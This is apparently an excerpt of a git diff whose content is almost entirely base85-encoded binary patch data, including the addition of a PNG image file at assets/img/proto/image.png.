zI|2}9N@vIhOIzRqddwP2s(lde&qHIK`YF#IoqQH_L-!yH+5UJwjS&Fsl^~7(YeM6mwZEIJq9X_$gk|mR6?n$gCIn8bnDy}eU~;yUuErasUGEiU@{{T@8J;r?VMIXU*OSsK zC_+*_%ThZ5U>{&1_PBU7+?=FM(C_jbJ>i`S0TjZ_C#!re(lLq|{Z^{d4tcX4J=N=9 zdN`PU5-+D^^7U954yUE!(wt>wy<%7Phi)iY)o+9c8~j%9uU$^M@iax8var8*+G<<} zfY~+xCe|=77lFLPYuPs*`4*ay3(jF9GJyp>57d`?(h=mKpf+IlZDrFJAvrf>vX&Gi z=;k(V0BKg;qFR{Z2T^Uwb^kEe+y6j1)wQpG@Rr`9Kf1dwEuOt0f982F5F`CF8s|Lw z&W(Ba<<7RCyPxaC3~KJ0aIEY7gX1zz1IGVZFCKNhzo@fS;o2;7+t>lbJ*poK9~Nna z7#bQBC}>#llStC%0pb98H#KHMevirYw%_o7vvDZ#G+_?pq0&_jDe0+fZ`_$Y^|0b*NiQ=o`+V~9&tf0|l z`$C==tFpLuJS-t3_&NSFCbVuDqvr&kw?%y4Zs}_+P>SQo5QnYPkG{)&Z6yg1_(zwP zBUyXD?RPY-B*R237G_;y+<<3EU&||({EqMlH$e^4(L z7q||fQ+kfiN`Gla(6`8jw4{OkH(m-my>XB^x0TfSajpgEMbdIQ;x6bFoAdT%#&-4n zVSvmw{f(TNg=PXZUmPYjnM6u9r7H`rpf}m*P$p3sx<{a=tUtc-vEA_}7O6u_1rHg* z$SDKHn=3vu$f|he-@Qqlms{Zdb|Z+4jE}@OKFbGcOFr`3wOe{Tg^$bB92aHFn+kT5 z&LYZbIl8#xUCvKENDjPM2H$Zck$_IV>pwZ)-24MkzJ?`st?w0m971J}9kv@W@@Zpm zO+TkYZfyyRomahgEX8Fj!sci&_;7pFv=MRRg-mS!CE2}r3Lg~2=r&q29)CY~CXHy1 zlQq!vMI}_!36fo-C7+XRydVThlyqf?rVm?yB$eL5%qk;}l;Y%$jTKt^5zW8)1c*RZ z5+CKapO^u9y}!lqOb%8anS4DBm?b6rJ83RO19pOWdeA0yji`jay2cCwu9$-4Qq(vD z)M^W5?T;}lG;cvd+dWP-oaTQ^rGHIH-8?{ofWL3Lhn$I!kYE4j<40#<`-s%Ez>Q#u zR}IYE4L*l>{_IkgZho~w%zZ?H{t08&ldt7zeqG*r@)v#5c$)@`5lPRNQvx(8Rv%+y zKd%3t{MDW6!KbMWhx6Z5+lz4dC>CVRzJY8_u&X4*_>3a3(1c$e=!$)6=<|$WZ?98R*)T z(f11&IyXMJDN@xBRSxZYsQvJ?W{!YBPl&Q{on}3{wMj8eY&4{UGNHMr=8cuuMP%m_ zCpw^XX+yt!U!SMYjP^`#Hp&fJ;r8$P;;a*RkX1r`1nyDgw`hf96z0L1^i3)tI0wNF zEa%;SQc8)B{|Iq*k(k@jZLf-nv^}Pk4eRIx@fbDwQPG`lREi%^X0@np4@?3@yxr_TR{1RiH3U@+dzU-+D{hxc-kxF8Xc_(0##QFW9oqX*Lta^8h`CX;!EO=1y@aYc-P;& z+g@vI;FIrJLAWlEUpF;Dgp(W%Y!*8DzdQhU0UYz_IjqC|6uzvNZn>CaZYy9Q(kq7Yc)ny(jrq6(ri zfZ!BlFb&97thtFDBXcXi%ahvR-wBQcQI>*x07ZV?qw@-y}3k9O*VN|#BIk(O!8pc!}Q~vCwltNZ=@h^Hl zHCH{DxieP1cuws3Mz|duEl85s^#U&7I@Sz+UMaj$y|!Y2otC(u_T_2s2`t$pIDJC=PRx38R?nKtD_p(;meFG@05~6@MmN5W%6JMSyR3Gn5UANjQqZV!v#tu>Y|#W z;*vVUr?K+0CbR4P*HRsI>^Vshr9ZnIy!EP4?ev@OAy^Esl5H`O$3|$QuHu{7{7LU(S0o^u_F$AWz*%n-mOkF>A*~1LJ!Sb zBGmxH}6b87bZ)R#0VP7p6%(jT*|36;uMkQ$_ocld{xz7n>2M)AkO!d z#Z29N@Jy8Xvsam-YOEnh_1TfN{Jw>%;aNXkc6%CX2{3?^hMeI} zIjwYFG-`-Om{q!c3kht?9sv_Ysa%&uerdyC z62|P&j9nfBW*n?!fFG8>URnMAXNv4_`R9<_5VX!K;%ot>U%#q=vGf?DAs$=qf?^Z6 zpB3di=*yL2lxC&cBbc>qt;aE``!Qg-D}hhfCP`+Uv+chw&GWsvsJq=EvMfE2mMaVN zeSMWW-WMycrfASt>HNSw)Z}KYZH&m=A(MJG{r96Ku#5HH#6MW*t!to+gGAP5vtwN-I6O>ojKnOD$KNAnw;G&_^Hcb>(tdPSqd+k05gV&_Oko66IKZT+(=bGqrL`QsypVzH329;t*l;bHN( z)~-ZOxPC;pdcjWcP-7}V-c)4iE=}J?;}p3wt!G5(?%R{+ml{S_hkck;2J07p+GSQ< zjk#;688=uf9FBX16Uvf&L}4z}@J6G$-7H117DD}c+g>2z1dti}a|rOCv{M=W`+<>> ztQwQC_n+pHC4*RM|5{2x!R)QpzdZ-e?Q(*m7tl!0x#z`* zCtr!dqY~1nm#=@d9ev}lYPr8u+3y#-hGdPN zzI{iRF$y?4lvq>LP@peNZ+bG2YKrMo;;;9lKi*3MraCaEgf!;?51jaS^Qc4JnH{jV zyT7K)&gyvq?^%C2GKE8EL~G$IJxUwedMuy)-8{i*FU7IXjC!#_=J0a(PrGOic#x9D zX^#{kqwCx3nR}Hph+`P$j5(L|nOzU<8kOCK5@A@~uZT>7M9Et(;gMbuo1=_QnT1Oo zh<5Se0ln2zF`0%3mzIjHHPWHw(lKJmxoC&n@|*2}ksCj2ZHzKFK}oLunm6zssM~vs zY50J><1}nP@WA|}k;V{8w=9j|xnn_X*%hbCyZQj3B_pP#QSCUJE;L5$k}rA;l|Y+v zLxploX-|@x^e+vrD`8D0C^{@DH#H#`6_HMOH z*ZM7@SoJaLqa9_>-In@Aefj3mpgJGy=((WNL{SZf?iX=WNjA=^Vs7=3gsW4P4yH_m z5r+-Tcey)z%6s@UqVnXRvUP(*IOM9{$yBuz%Wfz$#wqn$Ug~Z&)X2lD!wxZNyuck_ z&mR)h&XNOo3N&6?2+i6y4tj)0P)(8FA|$14y085mW?x{7Q!_5)GOE=@s2x+No)loN zbN3TLJGGo?D56OpKH8nMtrdY_Z!NZ;E^%-*wXk}4;RcbxXS^qWi8xB;%d#Uym27iZ zF$81QWsptB>~89S>+f&_)-_$dDozf&kQypM7BfSMVN(Zs;F&IpQo^VOUkTXgi%KE3 zVs8ujs(#V=N{fpplKKM9%A9s9UA=B@h5bynj>fcAuX|l)1-uoq7ANb1%X%1Tsw14w z#SK@sv#Q#tEi!B=`%C~K%1YP_|Fq`nSKB3?zJ>klXIyVmlqMJNJ|=OU7pWop^tisA z&jlN?)64ZXtp(*a=a!gIvW!fmiZJuDr_W{<3@N+VLyfs_`Vvd_3i@1 ztxYdv3&M*Re{flOA1Q!C8XNhkLwK5YrXfDR#LTY*(grGHLFdW>#b4Cez*Mm zwE5eR!8RA>bMX=m;QeV^7BoE%Ep~o4Psf*Td3QM47n$;avj}V0-Qd+*Sw$%loW4gj z4TcxC+BnU>m9BP=v=CPLPB=KbbMwE;zZ{=NRjpqo8EMuY$n6Qp8$gAM`DIV(_S*ZR z=k@5t%UOgBh*Idbyrshhob}3TnE1F;(2Zp?gmfp(Gq!_lu31*3N(r#CT1aS_PZ;7@ z`J~_IOL1+?beE22WO!I;Xh#{}Z-OFHT8`NxJlz#axX+0Q+K#*F>b8M6xPL>v*MQoU zY_w&cAx^ubCY_UXe7x3`)(fhu{o9n}+VzT=;v?_CfVmTyutUnK4${HRg5d9{P}d~BzAUBvfcg#H7%UuahHA;9_c-zumaYe^7iLUk}a86RRu-zC?F@27rC zjC>np4stL8Y8Rgkg(jG<;YH~h8UL24%-w2P5xq6rj#d}Zt_t|}HRiRfmGJaGK(S24 z7HPWaS5MpEs+GH?+Aj<{XJ^c9`fw0Yy_;rTq_=wV%@%7*MB$ z_`FQ6$k1hVu6jqSDsmk*SaU&PbLKH#paS|negXbos+>-6V!5PcoC(7Fk-t!|yl~Q#qDRaHpH%YjPPa83UdkbaNvDjC21;sT zSW;m$lP1n4DAY->l&FO_k;4)`%PX;1y({l*D8pfao{XDT#jiMSjkzS51iCw0v#rSe zlgLd_u%wu8zTc6!iIB65=E|x`D&gnWTQ#x?LzQz4J);)S??4@wTClj1J!W?!3RuSR zz^^D1i%Vy0BEDKdB<^-foyAc&>}T)?ASe1bM4yoM9X5Ts_oe$;4efoY_~i#Wjl8+L zZw0Z%@>JDO(Sws&;1CxsbWyEf@At{?)l>G z>$YCHu*}{)^>DcKX>oM3c8jAQRW)pzQ8Wv+Luu^pFm%E%Cv!o4{|n2COszD+B=8!poi?=q*~Y&Oq0 zC=FzamG#)%l^XllEj1zQ6t!~j24F;~`%3gOIp8X^x z@{~Z|_sR!un$U1H_)|Pb#?>=7!3#-oP*FQ}X!s&v7BeUSb2Wimz7FUt>Az?mrl_4Y zu9x6AU1o@IuFYbX->VO~u=SlfRN2ciGT7S^<^&o8G>AAOCu9C2alM0QZaqbHU;p)b z$e*(xT)U;lMvGvxt0(WJ$FvY*%sLnQ`%ISe&KARJxZ9Y6xBU~>LOt{s9mA(SyB9+h zx8RgM-pQNehc3p_!RE3JM})hc5g6+gqYbHYpd;m(7h__G!?Otn&zoL^!SK2mhTVEM zMr(av+*w-bsScz5vEA!t=ZWIS{eE}| z_X0Ne*GS*0M;GV4T{dYI4#_{}{oxPzKGjj75c>6dtKmQbH9NF+(J>#;^N`-=IC+4~ znWJ67eSj>sjWLSYU$Eu88L+32g+sro%{TP}0~Y6f1eQ%i-T0j=a=T0gO_eo&)~US&OL=4Pti)@<^lJM|DiPcQM4~i z+RJY>^`91K!JB*ldC$C31$V#?idxRM8A3ATuh(HU44!>g6($+cDi?;r7nv}R(Gk)E9U|>udn+TcghGYZ1er5#&#PPs%)g#luRG8uhgFwtj62( z9_lrKSI-(NFZ?8Hj}IICgb(T@bS_iN@%ibX&hXzMT8YSf?x=E~ul!nMTu{wy|C0b4Tb$INTqR2@L zR8g5|rIYZdtpiUPhu@A(Rj>o40PAfrbzfWtqcZa(x#uf1ZglTgDheA*QVSZ-hSTnN zO1?Six1NAfSgh(Cq(b%UP@mEzRh-vrzZ`#z{@j*pFkefk`=WvtiQ#b{=|eMedQbOF ze6gcV=b26CLQirX6z^J8uB}D!cCCJm*m1{FsMc%)ivgW&~TN(VQZiCIn zx7A_#ZVddoGT8M|yhXcizutslL-Z@i?dim}jLF)8b65y|xO?`gDZ3wRAb&f zwL($4O;Dkx1(!hNxh_?`W)|P+j#kuBKz4Dkv})vLvfTT1&2f4Gr*r1^qiHT3={q}a zx-Zg>=RF%3N<_5d<8k`jCY2^A zJ#_Y$rJ40k);_Hpa9*pIdQKQ?JpQqCn2+~PCP{?vWS?o#LZG11yPizJ_nvy|=0YiD z1PR$w<1dqNeAwQ3B2Vwd6p<+YhD+03XIH4t8X7&#-CrNXl(;Wv({UXQjBn+w1`*vE z>%)RdS`xpO9iLs1=FRNdmo^s)KpQ_rNb3o0FW_|1GH;+cG>}Z61S8qtH@hdcm#KT6 zT)p03&~Hj>XZZ1aC{rtB7Y~FRQ`+S-kB6ry&!N{we#C%40WqvpRv;7C0(-XaIoeRo z*QEA~aOF(9J>6_LDksrN`M7}7Q3sFKEfJ#Wzp0_CJY*wxW?fq^)8b_!|%(g`(wx#5Evnl2NatI2qkMu%vM&1$u;_7X-b5mR7Xi{{mEL0~o+y72cIVPt& zhlAoAABCNsm^5a5>~$YT33@q}d-Q}P^~Y8@H_mh|%%>KnvWZ{t82bfVG62)irdwoi zrPEn(g;aQ?3Mey(sARkS6RYBecq*6QM5I8e9=!zvE3<(Zn99>1UEASRXe! z2U+G?^Zp$-I@&8%ZRd_3qIt9RG2{IT(ktfTw5br@J)xTo2zukIxleGnB|;8Sf~qy)^$ zONIQvN>$0F^c{$}uv+Z|0kgcZWXccoJ_tiq;}&)GvTVv<%NIY}%7v|U$4c)ABq zHJw(j7PEP_ApQ+ONwduPUB)!+K7Mq$ueEIiBkt@UcFZDG zF9sXcA_>k&5onJ!c5djp)wnGZF=62*O{Q{ry7}nT>wM61{4+`I)P48oyB4%RB#1kw zK9%9`=U!V)wtR|%Dwu7D!T+a$>wUiR2&7MK*+;ir$A6V_r)5r0J;fdTN<-lVbuG5C z=+J>l!`W2qg&nawuNs@F1xa@zUiFMi!(7x<%(HR|V|w(Dl}HzUDyiM(kMZ$Wh3>KI zCHw@`TX?#Kx0pSQpbSN)Dd}o=27J~@fr0S3jBdE>ly$E|*=igwY(E~F#!aBp!M&cO z-`$Q92*EJiIt}G~WFJJhb{T83XCrv!SwBL4pkVfd0eRgbwoMYs>Z?e!_iIA+QIB03 z;%<>UUF>z`RRE_+=In>BCbgO-m%kmOjOb8IcLkl<`!qjTvx)m=G>Y?!vX#*q#noc# zz~ZL^XJzCaG~CqmxAVRKF<3Pq5(wHfpfsB-?lt>Ph+Hcd4SD@&hKH@A0j6so0f)WZ zswW!Twpt8yE~tfC(Z1H~xBQ7>rZ@wT-EgjT*X46!)OUYtzb~}KdPKYpeB{7TG=wk^ zYtWtH6*0Iuo<^Kp08^W-go^3tOMrpL@s6~eOx=qr@t}QNW~Kmn1J^hqD<#Pd1&2G_ z@2#C<`_=L$Pm}^h7+&J1KcLL=8%4WYu5sTih6;d7{Qa05}lYn6Gbjg$3QUUrwx z?pq@B)~GrY#2qX)*PiUu(w2SwD>F6NtiyqnM5(e6Pf@UV%C_E46p(aWLzFNQUQ6pf z&xyQePz&|#kW5hY6j8OH*5RiP_OUk-a4wy}pj)b_^(@=?>+3VxMali$bjSH&o^!5z zv-VS1g2hE0Sk>;EGrpB;-(7PKE-T%)pR`@|TXNbM1gWmJ509|)n(XuV#2T_t^l89^)`6}BWqTclCE zU-EWcxZ|9LKWC31&=bi2mT^nfAO+Edz+UF+~c}Qb6^}#nCE&X*~3JS9HO0r9iHT7rW-EMa5 z=JQy)i+N1Dj$^ZVDcb26Ruse)Mi_f*lb<;gkC)*KS4tSJJ0r~X{+f4Qd_rk~0ir9| zk{F!83aOFP&hW(3zvVJ^`PnCt7|PyqDP~x>psbvoygw=k-pZG1q(Jrd6}Xkxj?lcl zZfa&eGEVc*3TO4b5Y?VPU8a46S(cf5(o*y7N90}Y9kDh@@n>6{sJuhV8Y_NQ>tKxI zR^g8}V#4QjVC$AoM&1e?NQxexMRxtD@`WhJ;&VAjx>Pix`pvwIPD=tbva{w6PlLw-%Ejcyn)wO>Xs_ zM!MsGX-aK+5c=VJz&G~)_(o8n(jRb)Ufxn?TmP^o-`Gv@?ST*1_ndMY#O z%7SqI{OeHk{_mj!Qg?eMUI8Obxa8b35FmDp^g`mbRzl3B$Kq!Z{Fnh;2=}k)-^gzM#-B5S7X!TgD~S-QI#mE z@(DfqUXz(=x5rN5<9btS;Xq3xr`UUD)Z{693=KM?E*c%fb-lA2PHA52tVx4gvPOAd z`23^@L9r9R&gSBNAV$-m$CmlLPVW+1 zBa5pyKuUDBWpufg5EBB5s3Q0y8)V$z#j%>MU|s|G`7@LjU6c;VSpAcoFd91NL%nxH z!rW~s!MIkxyaKp?AHPD-n+qgO=?g4$M5%fRVn>?EkGg zF0zQeZNaL=F+U)ZmS&y#(}(!4h>i$pS(qk`=%Fmq?%RSMZPak@D_NuFm|PK0@|EHR zhAw4>-HQWiaia&vT-5LU>iCP9D}od1nM;g3lZjb1pL=HNZG9~~XGg-dY+`C7^}YVd zW1niNj1wJ0zq^HGnvwMjXg+xE#Ho)^R|p5-&bswNb$7YD6S8($RnzVAqEo-}W}mf< zfw!cl+vbs_$3)spEZNoyFMGj zVRau5_Z#vb@7H^bi;gK;D|3=57NUnQBB81C99FG#DqmqV-8Y6{DY)4w_|`ce2m zXL}YwU!$@W@n*-p4W&1=2cRwjI=((2B*Ct)-8-wc;|VDpyMombO{Bs|{YMx~%22ir zM$C%(sj09y#5nfGp9(K8GyVFm7vZWPDkU7n_Ey|?@mA)k<@w}<>lpP>hW+svX2)W3 zhT2AUx(CfwD#5^(<9DvsVZ3sK0GPj4K;fJ3nH557I5gcenTc+{_ez|6IyqaZl7tBM z=@m+xs=Q9&r#~F`+7cF#vbh*wPS$UQ&y5uCY+_fE0A_Hdq^QwcJh!3W+(5%2j?9|o za;7>gyL5%E8u%Eu-K?y05CSZkWYP=Sg|p@kG3mo}?@majyqisF`_TWP@0xt}&=qsV zYS>R2dvr`{C`&Z%+{|o`8li9HLZclRmm>>&!Y(~qC8HR6G9)c86v}`d?{w@{4{F~% zf_zsou%Z^bgzasN(p^c$m0*VxV!jR{uF@FB=NGLk^}!(yb2P?$k3LPDv{lDYsU5iC z&sRHLcG7f}4Jf5E9exf#%KLput&y=bvBvqH}GiH0?22H|2 zgYBL#^54Bmip(mgxycR)rq`*TY|pTnYfXxBb&vHSnVvWo4c~{iW!E~s&ukZT_X=%I zj;-(ok{PN>cann=LqomAT}2aKR9@quX9~7{&rPHbH|6n6@)GY2h&t&R56vVkxRsB; zxAOQNG*?>{J!0K^Z{<4ds6Ez()ORXZjbQlZ9>85VrrW?YKz0|8Bl?KAcu9+H@XKN> zC%htkTOX=bUBSKdkqo4pGWP{n`Av%YZ3i`2fwGr=!1VAW+(SAqU9fm!&e!Xvo1$m3?}-?Ecq3k0HY@o#nWZ9FP@Uza zKx55KGeU9L7XYFK^w%Rg#9K#*c}uAyJ%Oyn;rPH3kguMoKk=qKnWYMdis^UuL8SFc zM2Ea>XeS)0XrBXZbPLO`(Q&(Tqq_17>rpVT;?yZ_}J-h^`g|Aqg3lN?-Q Y)t|cu=Xzktf`CKinTA5)Q{xZ+4MMRsfdBvi literal 0 HcmV?d00001 diff --git a/assets/img/proto/image.png b/assets/img/proto/image.png new file mode 100644 index 0000000000000000000000000000000000000000..263fcf7f5b3f185f3b8121361da674381460318c GIT binary patch literal 33690 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 